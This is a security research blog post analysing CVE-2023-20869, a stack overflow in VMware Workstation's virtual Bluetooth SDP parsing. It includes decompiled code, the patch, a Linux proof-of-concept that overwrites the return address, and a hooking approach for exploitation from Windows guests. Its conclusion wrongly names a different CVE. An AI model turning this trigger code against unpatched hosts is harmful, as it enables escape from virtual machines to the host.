Chaining N-days to Compromise All: Part 5 — VMware Workstation Guest-to-Host Escape

CVE-2023-20869 was exploited to achieve arbitrary code execution on a VMware host from a guest system. Read the full technical analysis.
Frontier Squad's avatar
May 02, 2024
Chaining N-days to Compromise All: Part 5 — VMware Workstation Guest-to-Host Escape

This blog post is the fifth series about the vulnerabilities used in our 1-day full chain exploit we demonstrated on X. In this blog post, we will present how we execute arbitrary code on the host OS from the guest.

The vulnerability is CVE-2023–20869 demonstrated by @starlabs_sg in Pwn2own 2023 Vancouver. This vulnerability has been patched in Aril and Fermium-252, our threat intelligence service, has both a PoC and an exploit of this vulnerability since June 2023.

Please note that most of the explanations are based on the VMware-workstation-full-17.0.1-21139696.exe installation file, and most of the symbols are identified by reversing, so they may be incorrect.

Handling Service Discovery Protocol on Virtual Bluetooth device

Bluetooth Service Discovery Protocol (SDP) is designed to help devices discover each other’s services and determine how to access them. It’s like looking up a business in a directory to find out what they offer and how to contact them. It means finding out what capabilities a device has, such as whether it can handle file transfers, audio streaming or have a particular type of sensor.

SDP has server-client model, as shown in Figure 1, where a client sends a SDP request then the SDP server and applications running on the Bluetooth device process the request and return a SDP response.

Figure 1. SDP communication
Figure 1. SDP communication

When processing SDP packets, a VBluetooth device acts as a proxy, relaying the Bluetooth communication between the guest and the host. From VMware Workstation perspective, the SDP client-server interaction between the guest and the Bluetooth device is shown in Figure 2.

Figure 2. SDP communication in VMware Workstation
Figure 2. SDP communication in VMware Workstation

To relay between the Bluetooth device on the guest and the Bluetooth receiver on the host, VMware includes an implementation that processes SDP packets received from the SDP client and server.

Root cause of CVE-2023–20869

When sending SDP packets from the guest to a Bluetooth device, the request packets are processed by vmware-vmx process on the VMware host.

First, the vmware-vmx calls process_request function, where it internally calls RBuf_CopyOutHeader function to read SDP packets sent by a guest. SDP packets start with a Protocol Data Unit (PDU) of 5 bytes and a PDU is represented by sdp_pdu_hdr_t structure. The pdu_id field indicates the type of SDP packet, and vmware_vmx handles SDP_SVC_ATTR_REQ(0x04) and SDP_SVC_SEARCH_ATTR_REQ(0x06) packets. ([0])

typedef struct {
  uint8_t pdu_id;
  uint16_t tid;
  uint16_t plen;
} sdp_pdu_hdr_t;
void __fastcall process_request(struct_a1_1 *req) // sub_14086BCE0
{
  // ... 
  sdp_pdu_hdr_t req_pdu_hdr; // [rsp+28h] [rbp-30h] BYREF
  struct_a1_1 *ref_pdu_data; // [rsp+30h] [rbp-28h] BYREF

  if ( req->field_30 )
  {
    input = (_QWORD *)req->input;
    if ( input )
    {
      while ( 1 )
      {
        if ( !(unsigned int)RBuf_Length(input) )
          return;
        if ( !RBuf_CopyOutHeader((_QWORD *)req->input, (char *)&req_pdu_hdr, 5ui64) )
          return;
        pdu_data = (struct_a1_1 *)RBuf_CopyOutData(
                                    (_QWORD **)&req->input,
                                    5u,
                                    (unsigned __int16)__ROL2__(req_pdu_hdr.plen, 8));
        v4 = pdu_data;
        if ( !pdu_data )
          return;
        opcode = req_pdu_hdr.pdu_id;
        tid = req_pdu_hdr.tid;
        ref_pdu_data = ref_sdp(pdu_data);
        res = 0i64;
        if ( opcode == SDP_SVC_SEARCH_REQ )
          break;
        if ( opcode == SDP_SVC_ATTR_REQ )
        {
          v7 = sdp_service_attr_req(req, &ref_pdu_data, &res); // <--- [0]
          // ...
        }
        if ( opcode == SDP_SVC_SEARCH_ATTR_REQ )
        {
          v7 = proc_search_attr_req(req, &ref_pdu_data, &res);
          // ...
        }

The proc_search_attr_req function calls the SDPData_ReadElement and SDPData_ReadRawInt functions to read the SDP packet data received from the guest. The service class IDs and attribute IDs are stored in sequence type and can be read by calling SDPData_ReadElement(..,SDP_DE_SEQ,..).([1])

It then calls sub_14083CB90 function to search for Bluetooth device services by the requested service class IDs and attribute IDs.

__int64 __fastcall proc_search_attr_req(struct_a1_1 *a1, _QWORD *a2, __int64 **a3) // sub_14086C1D0 
{
  // ... 

  v6 = (char *)*((_QWORD *)a1->field_20 + 3);
  if ( !SDPData_ReadElement(a2, SDP_DE_SEQ, &v20) ) // Service class IDs (sequence)
    return 3i64;
  if ( !SDPData_ReadRawInt(a2, SDP_DE_INT, &v22, 0i64) || !SDPData_ReadElement(a2, SDP_DE_SEQ, &attrids) ) // <--- [1]
  { //specify the response limit , // Attribute IDs(sequence)
    sub_14083BCB0((__int64)&v20);
    return 3i64;
  }
  if ( sdp_getdatasize(a2, &v19) )
  {
    v8 = v22;
    if ( v22 < 0x21 )
      v8 = 33i64;
    v9 = (struct_a1_1 *)a1->field_30;
    v22 = v8 - 32;
    v10 = sub_14083CB90(v9, v6, (struct_a1_1 *)v20.data, (struct_a1_1 *)search_list.data);

The sub_14083CB90 function internally calls the sub_14083C7F0 function, which compares the response received from the device with the IDs passed from the proc_search_attr_req function to find matching services.

In [2], it iterates over the service attribute IDs received from the device, looking for services that match the attrids passed as an argument. In this case it calls SDPData_ReadElement instead of SDPData_ReadRawInt to read the SDP_DE_UINT value. ([3])

_WORD *__fastcall sub_14083C7F0(struct_a1_1 *from_dev, char *a2, int a3, struct_a1_1 *attrids)
{
  // ...
  from_dev_ = ref_sdp(from_dev);
  if ( !SDPData_ReadElement(&from_dev_, SDP_DE_SEQ, &element) )// get devices attr information 
  {
LABEL_9:
    unref_sdp(from_dev_);
    return 0i64;
  }
  // ...
  data = element.data;
  // ...
    
  while ( SDPData_ReadElement(&data, SDP_DE_UINT, &v18) ) // <--- [2]
  {
    data_low = LOWORD(v18.data);
    attrids_ = ref_sdp(attrids);
    found = 0;
    do
    {
      if ( !SDPData_ReadElement(&attrids_, SDP_DE_UINT, &attr_id) )// <--- [3]
        break;
      if ( attr_id.ele_size == 2 )
      {
        max = attr_id.data;
        min = attr_id.data;
      }
      else
      {
        if ( attr_id.ele_size != 4 )
          break;
        min = WORD1(attr_id.data);
        max = LOWORD(attr_id.data);
        if ( WORD1(attr_id.data) > (unsigned int)LOWORD(attr_id.data) )
          break;
      }
      if ( data_low >= min && data_low <= max )
        found = 1;
    }
    // ...

The SDPData_ReadElement function reads 1 byte from the data stream to determine the type of data, and reads the following data depending on the type. The first 3 bits represents the size, and if buf & 7 == 6 then it reads 2 more bytes and determines the size. ([4]). The RBuf_CopyOutHeader call reads 3 bytes, but the first of these bytes is the same as the previously read byte.

The high-order 5 bits of the first byte (ele_type) determines the type, and if ele_type is equal to type_in, or if type_in is -1, the following switch statement is processed. The switch statement reads the data and determines the size based on the type. ([5])

char __fastcall SDPData_ReadElement(_QWORD *in_rbuf, int type_in, struct_a3 *ele)
{
  // ...
  v3 = (_QWORD *)*in_rbuf;
  addition_size_desc = 1;
  if ( !RBuf_CopyOutHeader((_QWORD *)*in_rbuf, (char *)&buf, 1ui64) ) 
    return 0;
  switch ( buf & 7 )                        
  {
    case 0:
      ele_size = (buf & 0xF8) != 0;
      break;
    case 1:
      ele_size = 2;
      break;
    // ...
    case 6:                                     
      addition_size_desc = 3;
      if ( !RBuf_CopyOutHeader(v3, (char *)&buf, 3ui64) ) // <--- [4] 
        return 0;
      ele_size = (unsigned __int16)__ROL2__(v21, 8); // &v21 == &(buf + 1)
      break;
    // ...
  }
  ele_type = buf >> 3;                          
  if ( !SDPData_Slice((_QWORD **)in_rbuf, addition_size_desc) || type_in != -1 && ele_type != type_in ) 
        return 0;
    return 0;
  if ( ele_size > (unsigned int)RBuf_Length((_QWORD *)*in_rbuf) )
    return 0;
  ele->ele_type = ele_type;
  ele->ele_size = ele_size;
  switch ( ele_type )
  {
    case SDP_DE_NULL:
      _mm_lfence();
      return ele_size == 0;
    case SDP_DE_UINT:
      _mm_lfence();
      return SDPData_ReadRawInt(in_rbuf, ele_size, &ele->data, &ele->qword10);  // <--- [5] 
    // ...
    case SDP_DE_URL:
      _mm_lfence();
      ele->data = RBuf_CopyOutData((_QWORD **)in_rbuf, 0, ele_size);
      return 1;
    // ...

The SDPData_ReadRawInt function reads len data from a buffer and converts it to an int value. The parameter buf_in is the buffer where the guest's SDP request is stored and len is also determined by the SDP request which can be controlled by an attacker.

char __fastcall SDPData_ReadRawInt(_QWORD **buf_in, unsigned int len, _QWORD *a3, _QWORD *a4)
{
  size_t v4;    // rdi
  char result; 
  char Src[16]; // [rsp+30h] [rbp-48h] BYREF
                                                // [rsp+40h] == security cookie
  v4 = len;                                      // char temp[16]; [rsp+20h]
  result = RBuf_CopyOutHeader(*buf_in, Src, len);
  if ( result )
  {
    memcpy(&Src[-v4], Src, v4);
    *a3 = 0LL;                                  // decompile error, save int value into *a3
    if ( a4 )
      *a4 = 0LL;                                // decompile error, save some data value into *a4
    return SDPData_Slice(buf_in, v4);
  }
  return result;

In general, stack grows downwards (i.e., from high address to low address), so copying v4-size data into Src[-v4] may not seem vulnerable. However, the actual memory copying is done within the memcpy function, thereby properly setting the value of len, the return address stored on the stack can be overwritten during the memcpy function, as shown in Figure 3. Also, since the memcpy function does not use its own stack, there is no stack cookie.

Figure 3. Stack frame at trigger a vulnerability
Figure 3. Stack frame at trigger a vulnerability

The Patch for CVE-2023–20869

The patch was identified by diffing two different versions of VMware Workstation 17.0.1 and 17.0.2.

As a result, exception handling code is added to the SDPData_ReadRawInt function to return an error if len is greater than 16.

char __fastcall SDPData_ReadRawInt(_QWORD **buf_in, unsigned int len, _QWORD *a3, _QWORD *a4) // sub_14083C560
{
  __int64 v4; // rbx
  char Src[16]; // [rsp+30h] [rbp-48h] BYREF

  v4 = len;
+  if ( len > 0x10 )
+    return 0;
  _mm_lfence();
  if ( !RBuf_CopyOutHeader(*buf_in, Src, len) )
    return 0;
  _mm_lfence();
  memcpy(&Src[-v4], Src, (unsigned int)v4);
  *a3 = 0i64;
  if ( a4 )
    *a4 = 0i64;
  return SDPData_Slice(buf_in, v4);
}

Proof of Concept

While there are many different ways to reach the vulnerable SDPData_ReadRawInt function, this blog describes how the vulnerability can be triggered via the path described in the 'Root Cause' section.

The sub_14083C7F0 function compares the response received from the device with the IDs passed by the guest to find a matching service, so to reach it you need to send a SDP_SVC_SEARCH_ATTR_REQ request to a working Bluetooth device and receive a response.

SDP communication with Bluetooth devices does not require a pairing, but since not all Bluetooth devices have SDP servers and applications, the address of a device with an active SDP server is required to trigger the vulnerability.

On Linux, we can discover Bluetooth devices using bluetootlctl command, as shown below.

$ bluetoothctl
Agent registered
[CHG] Controller 70:32:17:B7:0D:FD Pairable: yes
[bluetooth]# scan on
Discovery started
[CHG] Controller 70:32:17:B7:0D:FD Discovering: yes
[NEW] Device 64:7B:CE:21:53:BD Galaxy S20 FE 5Gㅜㅠ

On Linux, we can easily create and send SDP requests using libbluetooth library. Create a L2CAP socket to send SDP requests to, establish a connection, and call the sdp_connect function to create a SDP session.

    bdaddr_t bdaddr = {{0xbd,0x53,0x21,0xce,0x7B,0x64}};   // 64:7B:CE:21:53:BD
    uint8_t channel = 0x01; 

    printf("[+] Connect SDP via L2CAP \n");
    int l2cap_sock = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
    if (l2cap_sock < 0) {
        perror("Failed to create L2CAP socket");
        return 1;
    }

    // Connect l2cap socket
    struct sockaddr_l2 l2cap_addr = { 0 };
    l2cap_addr.l2_family = AF_BLUETOOTH;
    l2cap_addr.l2_psm = htobs(channel);
    l2cap_addr.l2_bdaddr = bdaddr;
    if (connect(l2cap_sock, (struct sockaddr *)&l2cap_addr, sizeof(l2cap_addr)) < 0) {
        perror("Failed to connect to L2CAP socket");
        close(l2cap_sock);
        return 1;
    }

    sdp_session_t *session = sdp_connect(BDADDR_ANY, &bdaddr, SDP_RETRY_IF_BUSY);
    if (!session) {
        perror("Failed to connect to SDP session");
        close(l2cap_sock);
        return 1;
    }

Generate a SDP packet to be sent in a request after connection. To trigger the vulnerability, the pdu_id value is set to SDP_SVC_SEARCH_ATTR_REQ, and the service IDs should contain data of type SDP_DE_UINT with a manipulated length value.

    sdp_pdu_hdr_t *reqhdr, *rsphdr;
    uint32_t reqsize, rspsize;
    reqbuf = malloc(SDP_REQ_BUFFER_SIZE);
    rspbuf = malloc(SDP_RSP_BUFFER_SIZE);
    if (!reqbuf || !rspbuf) {
        goto clean_buf;
    }

    memset(reqbuf, 0x0, SDP_REQ_BUFFER_SIZE);
    memset(rspbuf, 0, SDP_REQ_BUFFER_SIZE);

    uint32_t tmp;
    uint32_t pos = 0;
    reqhdr = (sdp_pdu_hdr_t *) reqbuf;
    reqhdr->pdu_id = 6; //SDP_SVC_SEARCH_ATTR_REQ
    reqdata = reqbuf + sizeof(sdp_pdu_hdr_t);

    //service class IDs (empty)
    reqdata[pos++] = 6 | 6<<3;
    reqdata[pos++] = 0x00;
    reqdata[pos++] = 0x00; // size

    // specify the response limit
    // int 2
    *((unsigned short *)&reqdata[pos]) = htons(65535);
    pos += 2;

    // attribute id seqence
    uint16_t oobsize = 0x90;
    reqdata[pos++] = 6 | 6<<3;
    *((unsigned short *)&reqdata[pos]) = htons(oobsize+3);     
    pos+=2; 
    reqdata[pos++] = 6 /*data_type*/ | 1<<3 /*ele_type*/; 
    *((unsigned short *)&reqdata[pos]) = htons(oobsize);
    pos+=2;
    memset(&reqdata[pos], 0x41, oobsize);
    pos+=oobsize;

Then send the generated SDP packets over the L2CAP socket. On Ubuntu 21 and above, the Bluetooth driver compatibility does not handle VMware’s VBluetooth devices. For successful testing, we used a guest with Ubuntu 20.04 installed.

If the PoC runs successfully, you can see that the value 0x4141414141414141 is stored in the location pointed to by RSP register before ret instruction.

VCRUNTIME140!memcpy+0x2fd:
00007ffb`657715ed c3              ret
0:000> dq rsp
00000039`a18fea08  41414141`41414141 41414141`41414141
00000039`a18fea18  41414141`41414141 41414141`41414141
00000039`a18fea28  41414141`41414141 41414141`41414141
00000039`a18fea38  41414141`41414141 41414141`41414141
00000039`a18fea48  41414141`41414141 41414141`41414141
00000039`a18fea58  41414141`41414141 41414141`41414141
00000039`a18fea68  41414141`41414141 41414141`41414141
00000039`a18fea78  41414141`41414141 41414141`41414141

Exploitation on the Windows Guest

As explained in the PoC, the memcpy function can easily execute system commands by performing ROP because it has no stack cookies and can write enough data to the stack. In this section we will focus on how we achieved the exploit on a Windows guest.

Unlike Linux, Windows does not provide a library like libbluetooth so you have to write your own device driver code to trigger the vulnerability. However, writing a Bluetooth device driver requires knowledge of Bluetooth and experience in driver development.

To perform the exploit without writing a driver, we patched the code of running Bluetooth device driver on Windows. The bthport.sys driver is a Bluetooth bus driver for Windows which is used to create and send SDP requests to Bluetooth devices. The SDP_SVC_SEARCH_ATTR_REQ request is created in bthport!SdpL2cap_SendServiceSearchAttributeRequest function, and finally the completed SDP packet (v12) is sent to a device via bthport!SdpL2cap_SendInitialRequestToServer.

int __fastcall SdpL2cap_SendServiceSearchAttributeRequest(struct _SDP_L2CAP_CONNECTION *a1, struct _IRP *a2)
{
  // ...
  ServiceSearchTree = SdpInt_CreateServiceSearchTree(
                        (struct _SdpQueryUuid *)((char *)&v6.MasterIrp->MdlAddress + 4),
                        Type);
  // ...
  AttributeSearchTree = SdpInt_CreateAttributeSearchTree(
                          (struct _SdpAttributeRange *)&v6.MasterIrp[1].ThreadListEntry.Blink + 1,
                          v7);
    
  v12 = P;
  v9 = v11;
  if ( v11 < 0 || (v9 = SdpNodeToStream((struct _SDP_NODE *)AttributeSearchTree->RootNode.hdr.Link.Flink), v9 < 0) )
  {
    if ( v12 )
      ExFreePoolWithTag(v12, 0);
    v5 = a1;
    goto LABEL_18;
  }
  // ...
  return SdpL2cap_SendInitialRequestToServer(a1, a2, v12, 8u, 6u);
}

To manipulate SDP packets before it is passed, we install a hooker on the SdpL2cap_SendInitialRequestToServer call. The hooker modifies the contents of the SDP packet stored in v12 on the fly to trigger the vulnerability.

Figure 4. Hooking bthport.sys to trigger vulnerability
Figure 4. Hooking bthport.sys to trigger vulnerability

After installing the hooker, it is possible to call the WSALookupServiceBegin and WSALookupServiceNext APIs to execute the SdpL2cap_SendServiceSearchAttributeRequest function, and if the installed hooker runs successfully, a crafted SDP will be sent that can be used to execute arbitrary commands.

VOID send_sdp_service_attr() {
     // ...
    if (WSAStartup(MAKEWORD(2, 2), &m_data) == 0)
        protocolInfoSize = sizeof(protocolInfo);
        ULONGLONG btAddr = 0x647BCE2153BD; // "64:7B:CE:21:53:BD
        SOCKADDR_BTH sa;
        memset(&sa, 0, sizeof(sa));
        sa.addressFamily = AF_BTH;
        sa.btAddr = btAddr;
        sa.serviceClassId = RFCOMM_PROTOCOL_UUID;
        sa.port = BT_PORT_ANY;

        memset(&querySet, 0, sizeof(querySet));
        querySet.dwSize = sizeof(querySet);
        protocol = L2CAP_PROTOCOL_UUID;
        querySet.lpServiceClassId = &protocol;
        querySet.dwNameSpace = NS_BTH;

        querySet.lpszContext = (LPWSTR)addressAsString;
        flags = LUP_FLUSHCACHE | LUP_RETURN_BLOB;

        result = WSALookupServiceBegin(&querySet, flags, &hLookup);
        if (result == 0) {
            while (result == 0) {
                bufferLength = sizeof(buffer);
                pResults = (WSAQUERYSET*)&buffer;
                result = WSALookupServiceNext(hLookup, flags, &bufferLength, pResults);
            }
        }
        WSACleanup();
    } 
}

More detailed information including PoC & exploit code is in Fermium-252: The Cyber Threat Intelligence Database. If you are interested in Fermium-252 service, contact us at contacts@theori.io.

Conclusion

This post provided the analysis of CVE-2023–36802, which is exploited in our 1-day full chain demo. The next post will cover the exploitation of a vulnerability in the Windows Streaming Service to Windows LPE on Host.

Reference

Share article

Theori © 2025 All rights reserved.